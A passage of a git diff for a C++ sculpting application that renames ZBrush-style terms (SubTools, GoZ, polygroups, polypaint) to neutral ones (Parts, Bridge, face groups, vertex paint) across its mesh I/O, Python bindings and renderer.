+ std::string name; // the Maya transform's short name (Maya characters only): the Part's bridgeName
std::string file; // OBJ file name inside the manifest's folder
};
diff --git a/src/io/MayaCommands.cpp b/src/io/MayaCommands.cpp
index c035ba33..c5e1bb8a 100644
--- a/src/io/MayaCommands.cpp
+++ b/src/io/MayaCommands.cpp
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
#include "io/MayaCommands.h"
-#include "io/GozCommands.h"
+#include "io/BridgeCommands.h"
#include "io/MayaBridge.h"
namespace sf {
@@ -17,12 +17,12 @@ void registerMayaCommands(CommandRegistry& reg) {
{{"folder", T::String, "The exchange folder (the same one chosen in Maya's shelf script).", true}},
[](Document& doc, const Args& a) -> CommandResult {
std::vector<int> indices;
- const auto objects = gozObjects(doc, indices);
+ const auto objects = bridgeObjects(doc, indices);
std::vector<std::string> sent;
std::string msg;
if (!mayaSend(objects, argString(a, "folder"), msg, &sent)) return {false, msg};
- // Maya's next send of these objects updates the same SubTools.
- for (size_t k = 0; k < sent.size() && k < indices.size(); ++k) subtoolGozName(doc, indices[k]) = sent[k];
+ // Maya's next send of these objects updates the same Parts.
+ for (size_t k = 0; k < sent.size() && k < indices.size(); ++k) partBridgeName(doc, indices[k]) = sent[k];
return {true, msg};
}});
diff --git a/src/io/MeshObject.h b/src/io/MeshObject.h
index 4f7871d9..2d8d62bf 100644
--- a/src/io/MeshObject.h
+++ b/src/io/MeshObject.h
@@ -2,8 +2,8 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Named meshes for model files that hold several objects (OBJ `o` blocks,
-// glTF nodes, FBX models, USD Mesh prims, GoZ object lists). Each object
-// becomes one SubTool on import, and each visible SubTool one object on export.
+// glTF nodes, FBX models, USD Mesh prims, Bridge object lists). Each object
+// becomes one Part on import, and each visible Part one object on export.
#pragma once
#include "core/Mesh.h"
diff --git a/src/io/ObjIO.cpp b/src/io/ObjIO.cpp
index de902111..74c1d6bb 100644
--- a/src/io/ObjIO.cpp
+++ b/src/io/ObjIO.cpp
@@ -62,11 +62,11 @@ void applyUvs(ObjObject& o, Mesh& m) {
if (o.hasUvs) m.uvs = std::move(o.uvs);
}
-// Polygroups from `g` names: only when the object uses two or more (ids 1, 2, ... in order of first use).
+// Face groups from `g` names: only when the object uses two or more (ids 1, 2, ... in order of first use).
void applyGroups(const ObjObject& o, Mesh& m) {
if (o.groupNames.size() < 2) return;
- m.polygroups.resize(o.groups.size());
- for (size_t t = 0; t < o.groups.size(); ++t) m.polygroups[t] = o.groups[t] + 1;
+ m.facegroups.resize(o.groups.size());
+ for (size_t t = 0; t < o.groups.size(); ++t) m.facegroups[t] = o.groups[t] + 1;
}
bool parseObj(const std::string& path, bool splitObjects, std::vector<MeshObject>& out, std::string& error) {
@@ -381,17 +381,17 @@ bool saveObj(const std::string& path, const std::vector<MeshObjectRef>& objects,
buf.append(line, n);
}
if (textured) buf += "usemtl " + materials[oi] + "\n";
- // Polygroups as `g` groups (ZBrush's OBJ convention), when there is more than one.
+ // Face groups as `g` groups (OBJ convention), when there is more than one.
bool groups = false;
- for (uint32_t t = 1; t < mesh.triangleCount() && !groups; ++t) groups = mesh.polygroupAt(t) != mesh.polygroupAt(0);
+ for (uint32_t t = 1; t < mesh.triangleCount() && !groups; ++t) groups = mesh.facegroupAt(t) != mesh.facegroupAt(0);
uint32_t written = 0; // group of the last face written
for (uint32_t t = 0; t < mesh.triangleCount(); ++t) {
glm::uvec4 f;
glm::vec2 fuv[4];
const int corners = exportFaceUv(mesh, t, f, fuv); // quads as quads, the second half of one as nothing
if (corners == 0) continue;
- if (groups && (t == 0 || mesh.polygroupAt(t) != written)) {
- written = mesh.polygroupAt(t);
+ if (groups && (t == 0 || mesh.facegroupAt(t) != written)) {
+ written = mesh.facegroupAt(t);
const int n = std::snprintf(line, sizeof line, "g group%u\n", written);
buf.append(line, n);
}
diff --git a/src/io/ObjIO.h b/src/io/ObjIO.h
index 13a04d3e..2891224b 100644
--- a/src/io/ObjIO.h
+++ b/src/io/ObjIO.h
@@ -12,12 +12,12 @@ namespace sf {
// Paths are UTF-8. Polygons are fan-triangulated; quads are kept paired
// (Mesh::quadPartners) and written back as quads. `vt` UVs are read into
-// Mesh::uvs and written back (normals are ignored); a SubTool with a texture
+// Mesh::uvs and written back (normals are ignored); a Part with a texture
// (core/Texture.h) is written with <stem>.mtl and a PNG beside the file
// (`map_Kd`, see io/TextureExport.h).
// "v x y z r g b" vertex colours are read into Mesh::colors and written back.
-// `g` groups become polygroups (when an object uses two or more), as ZBrush
-// writes them; `o` starts a new object, as Blender and ZBrush write SubTools.
+// `g` groups become face groups (when an object uses two or more), as classic
+// writes them; `o` starts a new object, as Blender and classic write Parts.
// Reads every object into one mesh.
bool loadObj(const std::string& path, Mesh& out, std::string& error);
@@ -27,7 +27,7 @@ bool loadObj(const std::string& path, std::vector<MeshObject>& out, std::string&
bool saveObj(const std::string& path, const Mesh& mesh, std::string& error);
// Several objects are written as `o name` blocks; a single one as a plain mesh.
-// Polygroups (two or more) are written as `g` groups.
+// Face groups (two or more) are written as `g` groups.
bool saveObj(const std::string& path, const std::vector<MeshObjectRef>& objects, std::string& error);
} // namespace sf
diff --git a/src/io/PlyIO.h b/src/io/PlyIO.h
index f905f8e8..7eebc136 100644
--- a/src/io/PlyIO.h
+++ b/src/io/PlyIO.h
@@ -31,7 +31,7 @@ bool loadDotSplat(const std::string& path, SplatCloud& splats, std::string& erro
bool saveDotSplat(const std::string& path, const SplatCloud& splats, std::string& error);
// Writes a mesh (binary little-endian: positions, normals and, when the mesh
-// has polypaint, uchar red/green/blue in sRGB; quads where Mesh::quadPartners
+// has vertex paint, uchar red/green/blue in sRGB; quads where Mesh::quadPartners
// keeps them, else triangles) that loadPly reads back.
bool savePlyMesh(const std::string& path, const Mesh& mesh, std::string& error);
diff --git a/src/io/TextureExport.h b/src/io/TextureExport.h
index 5dadd597..278c9bd2 100644
--- a/src/io/TextureExport.h
+++ b/src/io/TextureExport.h
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Shared by the exporters that carry UVs and textures (OBJ, FBX, USD, glTF,
-// GoZ): faces with their per-corner UVs, and the texture of a SubTool
+// Bridge): faces with their per-corner UVs, and the texture of a Part
// (core/Texture.h) as a PNG written beside the model file or embedded in it.
//
// External PNGs are named after the model file: "<stem>_color.png" for a
diff --git a/src/io/UsdIO.cpp b/src/io/UsdIO.cpp
index 4cdd10c9..e045794a 100644
--- a/src/io/UsdIO.cpp
+++ b/src/io/UsdIO.cpp
@@ -125,13 +125,13 @@ void writeExtent(Writer& w, const AABB& b) {
// Selection Sets (core/SelectionSets.h) of the mesh, inside its Mesh prim: their names and channels as
// `sculptforge:selectionSets` / `sculptforge:selectionSetChannels`, the mask and vertex paint of set k as vertex
// primvars `sculptforge_set<k>_mask` / `_color`, its shown faces as the GeomSubset `sculptforge_set<k>_visible` and
-// its polygroups as a partition of GeomSubsets `sculptforge_set<k>_group<id>`. UVs and shapes aren't written (they
+// its face groups as a partition of GeomSubsets `sculptforge_set<k>_group<id>`. UVs and shapes aren't written (they
// travel in projects and .sfsets files). `triFace`: the face each triangle was written in.
void writeSelectionSets(Writer& w, const Mesh& mesh, std::vector<uint32_t> triFace, size_t faceCount) {
if (!mesh.selectionSets || mesh.selectionSets->sets.empty()) return;
for (uint32_t t = 0; t < triFace.size(); ++t) // the second half of a quad is in its partner's face
if (triFace[t] == ~0u && mesh.quadPartnerAt(t) != Mesh::kNoQuad) triFace[t] = triFace[mesh.quadPartnerAt(t)];
- constexpr uint32_t kChannels = kSetMask | kSetPaint | kSetVisibility | kSetPolygroups;
+ constexpr uint32_t kChannels = kSetMask | kSetPaint | kSetVisibility | kSetFaceGroups;
std::vector<std::string> names, channels;
std::vector<SelectionSetData> data;
for (const auto& set : mesh.selectionSets->sets) {
@@ -184,13 +184,13 @@ void writeSelectionSets(Writer& w, const Mesh& mesh, std::vector<uint32_t> triFa
if (!d.hidden.empty())
faceSubset(base + "_visible", "sculptforge:set" + std::to_string(k) + ":visibility",
[&](uint32_t t) { return d.hidden[t] == 0; }, false);
- if (!d.polygroups.empty()) {
- std::vector<uint32_t> ids = d.polygroups;
+ if (!d.facegroups.empty()) {
+ std::vector<uint32_t> ids = d.facegroups;
std::sort(ids.begin(), ids.end());
ids.erase(std::unique(ids.begin(), ids.end()), ids.end());
for (uint32_t id : ids)
- faceSubset(base + "_group" + std::to_string(id), "sculptforge:set" + std::to_string(k) + ":polygroups",
- [&](uint32_t t) { return d.polygroups[t] == id; }, true);
+ faceSubset(base + "_group" + std::to_string(id), "sculptforge:set" + std::to_string(k) + ":facegroups",
+ [&](uint32_t t) { return d.facegroups[t] == id; }, true);
}
}
}
@@ -263,7 +263,7 @@ void writeMesh(Writer& w, const Mesh& mesh, const std::string& root, const std::
w.line(")");
}
if (mesh.hasColors() && mesh.colors.size() == mesh.vertexCount()) {
- // Polypaint (linear, as USD expects); the material reads it through a primvar reader.
+ // Vertex paint (linear, as USD expects); the material reads it through a primvar reader.
w.array("color3f[] primvars:displayColor", mesh.colors, [&](const glm::vec3& c) { w.vec3(c); });
w.s.pop_back();
w.s += " (\n";
@@ -369,7 +369,7 @@ void writeSplats(Writer& w, const SplatCloud& c) {
w.close();
}
-// A UsdPreviewSurface clay material; `painted` reads the polypaint primvar for its colour.
+// A UsdPreviewSurface clay material; `painted` reads the vertex paint primvar for its colour.
void writeMaterial(Writer& w, const std::string& path, const std::string& name, bool painted) {
w.open("def Material " + quoted(name));
w.line("token outputs:surface.connect = <" + path + "/PreviewSurface.outputs:surface>");
@@ -468,7 +468,7 @@ std::string buildUsda(const std::vector<MeshObjectRef>& meshes, const std::vecto
const SplatCloud* splats, const std::string& name, const MorphAnimation* animation,
const std::vector<std::vector<std::pair<std::string, std::string>>>& pbr) {
const std::string root = usdIdentifier(name.empty() ? "Sculpt" : name);
- // Textured meshes bind a material of their own. Of the others, polypainted ones bind a material that
+ // Textured meshes bind a material of their own. Of the others, vertex painted ones bind a material that
// reads their colours; with a mix, plain ones bind "Clay".
size_t painted = 0, plain = 0;
for (size_t i = 0; i < meshes.size(); ++i) {
@@ -877,7 +877,7 @@ void readSelectionSets(const std::vector<Prim>& prims, size_t mesh, size_t verti
uint32_t channels = 0;
std::string error;
if (!parseSetChannels(channelList->strs[k], channels, error)) continue;
- channels &= kSetMask | kSetPaint | kSetVisibility | kSetPolygroups;
+ channels &= kSetMask | kSetPaint | kSetVisibility | kSetFaceGroups;
const std::string base = "sculptforge_set" + std::to_string(k);
SelectionSetData d;
d.channels = channels;
@@ -894,7 +894,7 @@ void readSelectionSets(const std::vector<Prim>& prims, size_t mesh, size_t verti
d.colors[i] = glm::vec3(float(v->nums[i * 3]), float(v->nums[i * 3 + 1]), float(v->nums[i * 3 + 2]));
}
if (channels & kSetVisibility) d.hidden.assign(triangles, 1);
- if (channels & kSetPolygroups) d.polygroups.assign(triangles, 0u);
+ if (channels & kSetFaceGroups) d.facegroups.assign(triangles, 0u);
bool visibleFound = false;
for (const Prim& c : prims) {
if (c.parent != int(mesh) || c.type != "GeomSubset") continue;
@@ -904,7 +904,7 @@ void readSelectionSets(const std::vector<Prim>& prims, size_t mesh, size_t verti
const bool visible = rest == "visible";
const bool group = rest.rfind("group", 0) == 0 && rest.size() > 5 && rest.size() < 16 &&
std::all_of(rest.begin() + 5, rest.end(), [](char ch) { return ch >= '0' && ch <= '9'; });
- if ((!visible || !(channels & kSetVisibility)) && (!group || !(channels & kSetPolygroups))) continue;
+ if ((!visible || !(channels & kSetVisibility)) && (!group || !(channels & kSetFaceGroups))) continue;
const uint32_t id = group ? uint32_t(std::min<unsigned long long>(std::stoull(rest.substr(5)), 0xFFFFFFFFull)) : 0u;
visibleFound |= visible;
if (const Value* idx = c.get("indices"))
@@ -913,7 +913,7 @@ void readSelectionSets(const std::vector<Prim>& prims, size_t mesh, size_t verti
const glm::uvec2 ft = faceTris[size_t(f)];
for (uint32_t t = ft.x; t < ft.x + ft.y && t < triangles; ++t) {
if (visible) d.hidden[t] = 0;
- else d.polygroups[t] = id;
+ else d.facegroups[t] = id;
}
}
}
diff --git a/src/io/UsdIO.h b/src/io/UsdIO.h
index fb7c6b68..c430bec1 100644
--- a/src/io/UsdIO.h
+++ b/src/io/UsdIO.h
@@ -6,7 +6,7 @@
// Look / Vision Pro, Omniverse, Houdini Solaris, Blender, Maya, Unreal):
// - the sculpt as a UsdGeomMesh with a UsdPreviewSurface clay material, UVs
// as a face-varying primvars:st
-// - a SubTool's texture (core/Texture.h) as a PNG (inside a .usdz, else beside
+// - a Part's texture (core/Texture.h) as a PNG (inside a .usdz, else beside
// the file) read by a UsdUVTexture in the mesh's own UsdPreviewSurface
// - sculpt layers as UsdSkel blend shapes, current weights on a SkelAnimation
// - Gaussian splats as a UsdVol ParticleField3DGaussianSplat prim (OpenUSD 26.03+)
@@ -29,7 +29,7 @@ namespace sf {
// Either pointer may be null (or empty) but not both. Format by extension.
bool saveUsd(const std::string& path, const Mesh* mesh, const SplatCloud* splats, const std::string& name,
std::string& error);
-// One Mesh prim per object (SubTool) under the root Xform `name`, each with its
+// One Mesh prim per object (Part) under the root Xform `name`, each with its
// own blend shapes: a single object is the prim "Sculpt" as above, several are
// named after the objects (made valid and unique). `animation` (optional, e.g.
// a baked face take) adds time samples to each SkelAnimation's
diff --git a/src/link/FaceFeed.h b/src/link/FaceFeed.h
index fcd1b6b7..ee1936ad 100644
--- a/src/link/FaceFeed.h
+++ b/src/link/FaceFeed.h
@@ -6,7 +6,7 @@
// {"type":"face","t":<ms>,"weights":{"jawOpen":0.31,...},"head":[qx,qy,qz,qw]}
// with the blend shape names of Apple ARKit (which MediaPipe's blendshape categories use too; MediaPipe has no
// tongueOut and adds "_neutral", which is ignored). The desktop hands the weights to the `face_weights` command
-// (facial shapes on the active SubTool) and can record a take: one such message per line (JSON Lines).
+// (facial shapes on the active Part) and can record a take: one such message per line (JSON Lines).
#pragma once
#include <array>
diff --git a/src/link/PhoneLink.cpp b/src/link/PhoneLink.cpp
index 76e9fac6..b0b99113 100644
--- a/src/link/PhoneLink.cpp
+++ b/src/link/PhoneLink.cpp
@@ -1102,7 +1102,7 @@ bool PhoneLink::createFaceLink(std::string& faceUrl, std::string& error, bool ar
if (ar) {
char size[32];
std::snprintf(size, sizeof size, "%g", double(arSizeCm));
- faceUrl += std::string("&m=ar&s=") + (arScope == "scene" ? "scene" : "subtool") + "&z=" + size;
+ faceUrl += std::string("&m=ar&s=") + (arScope == "scene" ? "scene" : "part") + "&z=" + size;
std::lock_guard lock(mutex_);
arBlobUrl_ = blobUrl;
arBlobKey_ = key;
@@ -1138,7 +1138,7 @@ HttpResponse PhoneLink::faceLink(const HttpRequest& request) {
const bool ar = request.param("mode") == "ar";
float size = 20.0f;
try { size = std::clamp(std::stof(request.param("size", "20")), 2.0f, 200.0f); } catch (...) {}
- if (!createFaceLink(url, error, ar, request.param("scope", "subtool"), size)) return jsonError(webrtcAvailable() ? 500 : 501, error);
+ if (!createFaceLink(url, error, ar, request.param("scope", "part"), size)) return jsonError(webrtcAvailable() ? 500 : 501, error);
Json j = Json::object();
j.set("url", url);
return jsonOk(j);
diff --git a/src/link/PhoneLink.h b/src/link/PhoneLink.h
index 7eb9931c..7ed4369c 100644
--- a/src/link/PhoneLink.h
+++ b/src/link/PhoneLink.h
@@ -7,7 +7,7 @@
// a scanning app, uploaded in resumable chunks into the Captures inbox,
// <user library>/Captures/<yyyy-mm-dd_hhmmss>-<kind>/ (kind = splat | photo | ply)
// with a capture.json (kind, device, files, times); the app then runs the command for that kind;
-// - AR requests: the active SubTool (or the scene), decimated and coloured, as USDZ (iPhone AR Quick Look) and
+// - AR requests: the active Part (or the scene), decimated and coloured, as USDZ (iPhone AR Quick Look) and
// GLB (Android: sent over the WebRTC link to the website's WebXR page), re-exported after strokes while the
// phone is looking;
// - the live face feed: link/FaceFeed.h messages over WebRTC (link/PhoneRtc.h) or HTTP, and face takes.
@@ -195,8 +195,8 @@ public:
bool acceptFaceAnswer(const std::string& sdp, std::string& error);
// The face page URL with the pending offer (creates one); for tests too. With `ar`, the link is for the AR page
// (website/link/ar.html) instead: the phone asks for the sculpt over it, and each model published while it is
- // open goes down it (`arScope` "subtool"/"scene" and `arSizeCm` are passed to the page, which asks with them).
- bool createFaceLink(std::string& faceUrl, std::string& error, bool ar = false, const std::string& arScope = "subtool",
+ // open goes down it (`arScope` "part"/"scene" and `arSizeCm` are passed to the page, which asks with them).
+ bool createFaceLink(std::string& faceUrl, std::string& error, bool ar = false, const std::string& arScope = "part",
float arSizeCm = 20.0f);
// An AR page message ({"type":"ar","scope","size"} asks for a model, {"type":"ar-ping"} says it's still
// looking); public for tests.
diff --git a/src/python/module.cpp b/src/python/module.cpp
index 2226dd6a..a33491c4 100644
--- a/src/python/module.cpp
+++ b/src/python/module.cpp
@@ -9,7 +9,7 @@
// sf.run(doc, "new_sphere", subdivisions=5)
// sf.run(doc, "export_usd", path="/tmp/head.usdz")
// verts, tris = doc.vertices, doc.triangles # (N, 3) float32, (M, 3) uint32
-// doc.mask, doc.colors, doc.polygroups # optional attributes, None when absent
+// doc.mask, doc.colors, doc.face groups # optional attributes, None when absent
// doc.set_selection_set("Eyes", mask=m) # push a selection set; doc.selection_set("Eyes") pulls it
#include "ai/AiCommands.h"
#include "ai/AiPolicy.h"
@@ -163,9 +163,9 @@ PYBIND11_MODULE(sculptforge, m) {
},
"Per-vertex paint colours, (N, 3) float32 linear RGB in 0..1; None if unpainted.")
.def_property(
- "polygroups", [](const Document& d) { return attributeArray(d.mesh.polygroups); },
+ "facegroups", [](const Document& d) { return attributeArray(d.mesh.facegroups); },
[](Document& d, const py::object& v) {
- setAttribute(d.mesh.polygroups, v, d.mesh.triangleCount(), "polygroups");
+ setAttribute(d.mesh.facegroups, v, d.mesh.triangleCount(), "facegroups");
d.mesh.facesDirty = true;
d.modified = true;
},
@@ -218,29 +218,29 @@ PYBIND11_MODULE(sculptforge, m) {
},
py::arg("vertices"), py::arg("triangles"), "Replace the sculpt with your own mesh (clears undo).")
.def_property_readonly("splat_count", [](const Document& d) { return d.splats.size(); })
- // SubTools: the mesh properties above are the active SubTool's.
- .def_property_readonly("subtools",
+ // Parts: the mesh properties above are the active Part's.
+ .def_property_readonly("parts",
[](const Document& d) {
py::list out;
- for (int i = 0; i < d.subtoolCount(); ++i)
- out.append(py::dict(py::arg("name") = d.subtools[size_t(i)].name,
- py::arg("visible") = d.subtools[size_t(i)].visible,
- py::arg("triangles") = d.subtoolMesh(i).triangleCount()));
+ for (int i = 0; i < d.partCount(); ++i)
+ out.append(py::dict(py::arg("name") = d.parts[size_t(i)].name,
+ py::arg("visible") = d.parts[size_t(i)].visible,
+ py::arg("triangles") = d.partMesh(i).triangleCount()));
return out;
},
"The Parts (separate meshes) in list order, as dicts with name, visible and triangles.")
.def_property(
- "active_subtool", [](const Document& d) { return d.activeSubtool; },
+ "active_part", [](const Document& d) { return d.activePart; },
[](Document& d, const py::object& v) {
int index = -1;
- if (py::isinstance<py::str>(v)) index = d.findSubtool(v.cast<std::string>());
+ if (py::isinstance<py::str>(v)) index = d.findPart(v.cast<std::string>());
else index = v.cast<int>();
- if (index < 0 || index >= d.subtoolCount()) throw py::index_error("no such Part");
- d.selectSubtool(index);
+ if (index < 0 || index >= d.partCount()) throw py::index_error("no such Part");
+ d.selectPart(index);
},
"Index of the Part that vertices, mask, layers... and editing commands refer to. Set it to an "
"index or a Part name to select another one.")
- // Selection Sets (core/SelectionSets.h) of the active Part (SubTool): push and pull them as arrays.
+ // Selection Sets (core/SelectionSets.h) of the active Part (Part): push and pull them as arrays.
.def_property_readonly(
"selection_sets",
[](const Document& d) {
@@ -249,7 +249,7 @@ PYBIND11_MODULE(sculptforge, m) {
if (list)
for (const auto& s : list->sets) {
py::list channels;
- for (const char* c : {"mask", "polygroups", "paint", "visibility", "uvs", "morph"}) {
+ for (const char* c : {"mask", "facegroups", "paint", "visibility", "uvs", "morph"}) {
uint32_t bit = 0;
std::string err;
if (parseSetChannels(c, bit, err) && s->has(bit)) channels.append(c);
@@ -275,7 +275,7 @@ PYBIND11_MODULE(sculptforge, m) {
if (!selectionSetAt(d.mesh, *list->sets[size_t(i)], kSetAllChannels, data, err)) throw CommandError(err);
py::dict out;
if (data.channels & kSetMask) out["mask"] = floatRows(data.mask, 1);
- if (data.channels & kSetPolygroups) out["polygroups"] = attributeArray(data.polygroups);
+ if (data.channels & kSetFaceGroups) out["facegroups"] = attributeArray(data.facegroups);
if (data.channels & kSetPaint) out["colors"] = floatRows(data.colors, 3);
if (data.channels & kSetVisibility) out["hidden"] = attributeArray(data.hidden);
if (data.channels & kSetUvs) out["uvs"] = floatRows(data.uvs, 2);
@@ -283,18 +283,18 @@ PYBIND11_MODULE(sculptforge, m) {
return out;
},
py::arg("name"),
- "A selection set's channels at the current subdivision level, as a dict of NumPy arrays (mask, polygroups, " // marks-pending
+ "A selection set's channels at the current subdivision level, as a dict of NumPy arrays (mask, facegroups, "
"colors, hidden, uvs (per triangle corner), positions), only those the set holds.")
.def(
"set_selection_set",
- [](Document& d, const std::string& name, const py::object& mask, const py::object& polygroups,
+ [](Document& d, const std::string& name, const py::object& mask, const py::object& facegroups,
const py::object& colors, const py::object& hidden, const py::object& uvs, const py::object& positions) {
const size_t nv = d.mesh.vertexCount(), nt = d.mesh.triangleCount();
SelectionSetData data;
if (!mask.is_none()) data.mask = rows<float>(mask, nv, 1, "mask"), data.channels |= kSetMask;
- if (!polygroups.is_none()) {
- setAttribute(data.polygroups, polygroups, nt, "polygroups");
- data.channels |= kSetPolygroups;
+ if (!facegroups.is_none()) {
+ setAttribute(data.facegroups, facegroups, nt, "facegroups");
+ data.channels |= kSetFaceGroups;
}
if (!colors.is_none()) data.colors = rows<glm::vec3>(colors, nv, 3, "colors"), data.channels |= kSetPaint;
if (!hidden.is_none()) {
@@ -303,7 +303,7 @@ PYBIND11_MODULE(sculptforge, m) {
}
if (!uvs.is_none()) data.uvs = rows<glm::vec2>(uvs, nt * 3, 2, "uvs"), data.channels |= kSetUvs;
if (!positions.is_none()) data.positions = rows<glm::vec3>(positions, nv, 3, "positions"), data.channels |= kSetMorph;
- if (!data.channels) throw py::value_error("give at least one of mask, polygroups, colors, hidden, uvs, positions"); // marks-pending
+ if (!data.channels) throw py::value_error("give at least one of mask, facegroups, colors, hidden, uvs, positions");
SelectionSet set;
std::string msg;
if (!makeSelectionSet(name, data, uint32_t(nv), uint32_t(nt), subdivCurrentLevel(d.mesh), set, msg) ||
@@ -311,7 +311,7 @@ PYBIND11_MODULE(sculptforge, m) {
throw CommandError(msg);
return msg;
},
- py::arg("name"), py::kw_only(), py::arg("mask") = py::none(), py::arg("polygroups") = py::none(),
+ py::arg("name"), py::kw_only(), py::arg("mask") = py::none(), py::arg("facegroups") = py::none(),
py::arg("colors") = py::none(), py::arg("hidden") = py::none(), py::arg("uvs") = py::none(),
py::arg("positions") = py::none(),
"Store (or replace) a selection set on the active Part from arrays laid out for the current level "
diff --git a/src/render/Camera.h b/src/render/Camera.h
index 74520527..a249a162 100644
--- a/src/render/Camera.h
+++ b/src/render/Camera.h
@@ -10,7 +10,7 @@
namespace sf {
// Orbit camera around a target. Turntable orbiting keeps the world upright (yaw / pitch); free orbiting
-// (ZBrush) turns about the screen's axes and can roll over the top, which shows up as roll.
+// turns about the screen's axes and can roll over the top, which shows up as roll.
class Camera {
public:
glm::vec3 target{0.0f};
@@ -29,9 +29,9 @@ public:
glm::mat4 projection() const;
void orbit(float dxPixels, float dyPixels); // turntable
- void orbitFree(float dxPixels, float dyPixels); // trackball about the screen axes (ZBrush)
+ void orbitFree(float dxPixels, float dyPixels); // trackball about the screen axes
void setOrientation(const glm::quat& q); // as yaw / pitch / roll
- // The nearest of the 24 views looking along a world axis with another world axis up (ZBrush's
+ // The nearest of the 24 views looking along a world axis with another world axis up (the classic
// Shift while rotating).
static glm::quat snapped(const glm::quat& q);
void pan(float dxPixels, float dyPixels, float viewportHeight);
diff --git a/src/render/Clusters.h b/src/render/Clusters.h
index 54ccf242..db16a826 100644
--- a/src/render/Clusters.h
+++ b/src/render/Clusters.h
@@ -47,7 +47,7 @@ float unpackCurvature(const PackedVertex& v);
// since coarse meshes interpolate it across big triangles.
constexpr float kCurvatureRange = 1.0f;
-// Polypaint colours in 8 bits per channel, gamma 2.2 encoded so dark colours keep their steps (the shader
+// Vertex paint colours in 8 bits per channel, gamma 2.2 encoded so dark colours keep their steps (the shader
// decodes with pow 2.2). A table lookup, it is called for every vertex of an upload.
uint32_t packColor(const glm::vec3& linear);
inline uint8_t packMask(float m) { return uint8_t(std::clamp(m, 0.0f, 1.0f) * 255.0f + 0.5f); }
diff --git a/src/render/Ghost.cpp b/src/render/Ghost.cpp
index 2835d79f..c65817ee 100644
--- a/src/render/Ghost.cpp
+++ b/src/render/Ghost.cpp
@@ -8,8 +8,8 @@
namespace sf {
GhostKind ghostKindForBrush(int brushType) {
- // core/Sculpt.h BrushType order: Standard, Clay, Smooth, Move, Inflate, Crease, Flatten, Pinch, DamStandard,
- // ClayBuildup, SnakeHook, Trim, Layer, Nudge, Vdm.
+ // core/Sculpt.h BrushType order: Standard, Clay, Smooth, Move, Inflate, Crease, Flatten, Pinch, Sharp Crease,
+ // Clay Block, SnakeHook, Trim, Layer, Nudge, Vdm.
switch (brushType) {
case 0: return GhostKind::Standard;
case 1: return GhostKind::Clay;
@@ -17,8 +17,8 @@ GhostKind ghostKindForBrush(int brushType) {
case 5: return GhostKind::Crease;
case 6: return GhostKind::Flatten;
case 7: return GhostKind::Pinch;
- case 8: return GhostKind::DamStandard;
- case 9: return GhostKind::ClayBuildup;
+ case 8: return GhostKind::SharpCrease;
+ case 9: return GhostKind::ClayBlock;
case 11: return GhostKind::Trim;
default: return GhostKind::None;
}
@@ -60,7 +60,7 @@ glm::vec3 ghostMove(const GhostStroke& g, glm::vec3 x, const glm::vec3& n) {
if (sign * h < 0.0f) x -= an * (h * f);
break;
}
- case GhostKind::ClayBuildup: {
+ case GhostKind::ClayBlock: {
// (round: the square tip's corners need the brush's screen frame)
const float e = std::clamp((1.0f - dist / r) / 0.35f, 0.0f, 1.0f);
const float w = e * e * (3.0f - 2.0f * e) * d.weight;
@@ -77,7 +77,7 @@ glm::vec3 ghostMove(const GhostStroke& g, glm::vec3 x, const glm::vec3& n) {
x += an * (-sign * s * r * 0.05f * f * f) + onPlane(d.center - x, an) * (0.25f * s * f);
break;
case GhostKind::Pinch: x += onPlane(d.center - x, an) * (sign * 0.2f * s * f); break;
- case GhostKind::DamStandard:
+ case GhostKind::SharpCrease:
x += an * (-sign * s * r * 0.08f * f * f * f * f) + onPlane(d.center - x, an) * (0.3f * s * f);
break;
case GhostKind::Trim: {
diff --git a/src/render/Ghost.h b/src/render/Ghost.h
index b19f38b7..faae885b 100644
--- a/src/render/Ghost.h
+++ b/src/render/Ghost.h
@@ -26,7 +26,7 @@ namespace sf {
// The brush kernels the preview can draw (the rest show no ghost: Smooth, Layer, Nudge, Move, Snake Hook,
// VDM, recipes, masking, painting).
-enum class GhostKind : int32_t { None = 0, Standard, Inflate, Clay, ClayBuildup, Flatten, Crease, Pinch, DamStandard, Trim,
+enum class GhostKind : int32_t { None = 0, Standard, Inflate, Clay, ClayBlock, Flatten, Crease, Pinch, SharpCrease, Trim,
// Live Move (SF_LIVE_MOVE=1, app/App.cpp): the Move brush's whole drag. Each dab is one mirror's grab: `normal`
// holds its world move, `strength` the grab's weight scale (Sculptor::beginGrab), and the falloff is measured
// from the position the GPU holds (the grab's start), as the grab's weights are.
diff --git a/src/render/Renderer.cpp b/src/render/Renderer.cpp
index 4f8df250..7889b69f 100644
--- a/src/render/Renderer.cpp
+++ b/src/render/Renderer.cpp
@@ -3,7 +3,7 @@
#include "render/Renderer.h"
#include "render/MicroRenderer.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/Tangents.h"
#include "core/Texture.h"
#include "core/TextureChannels.h"
@@ -30,7 +30,7 @@ namespace {
// Mesh vertices are PackedVertex (render/Clusters.h): the position on the slot's grid (21 bits per axis in two
// words), an octahedral normal and the (companded) curvature in a third. Decoded here exactly as Clusters.cpp does.
-// Compiled per feature set: PAINT (polypaint colour and mask attributes), PRIM (per-triangle data: the first
+// Compiled per feature set: PAINT (vertex paint colour and mask attributes), PRIM (per-triangle data: the first
// drawn triangle of the vertex's cluster, from a per-block table indexed by gl_VertexID, or uPrimBase when the
// clusters are drawn one by one), TEXTURED and NORMALMAP (with a geometry shader, below), and FLAT (flat
// shading: the view-space position goes along, so the fragment shader takes each triangle's own normal from it).
@@ -38,7 +38,7 @@ const char* kMeshVS = R"(
layout(location = 0) in uvec2 aPos;
layout(location = 1) in uint aNormal;
#ifdef PAINT
-layout(location = 2) in vec4 aColor; // polypaint, gamma 2.2 encoded (constant white when the mesh has none)
+layout(location = 2) in vec4 aColor; // vertex paint, gamma 2.2 encoded (constant white when the mesh has none)
layout(location = 3) in float aMask; // constant 0 when the mesh has no mask
out vec4 vPaint; // linear colour, mask
#endif
@@ -118,7 +118,7 @@ vec3 ghostMove(vec3 x, vec3 n, int first, int end, inout vec3 g, inout float lap
x += (kind == 1 ? an : n) * (a * f);
g += radial * (k * a * F.y);
lap += k * a * radialLap;
- } else if (kind == 3 || kind == 4) { // Clay, Clay Buildup: everything below a plane pulled up to it
+ } else if (kind == 3 || kind == 4) { // Clay, Clay Block: everything below a plane pulled up to it
float h = dot(x - (ac + an * (sgn * r * (kind == 3 ? 0.05 : 0.08) * s)), an);
if (sgn * h < 0.0) {
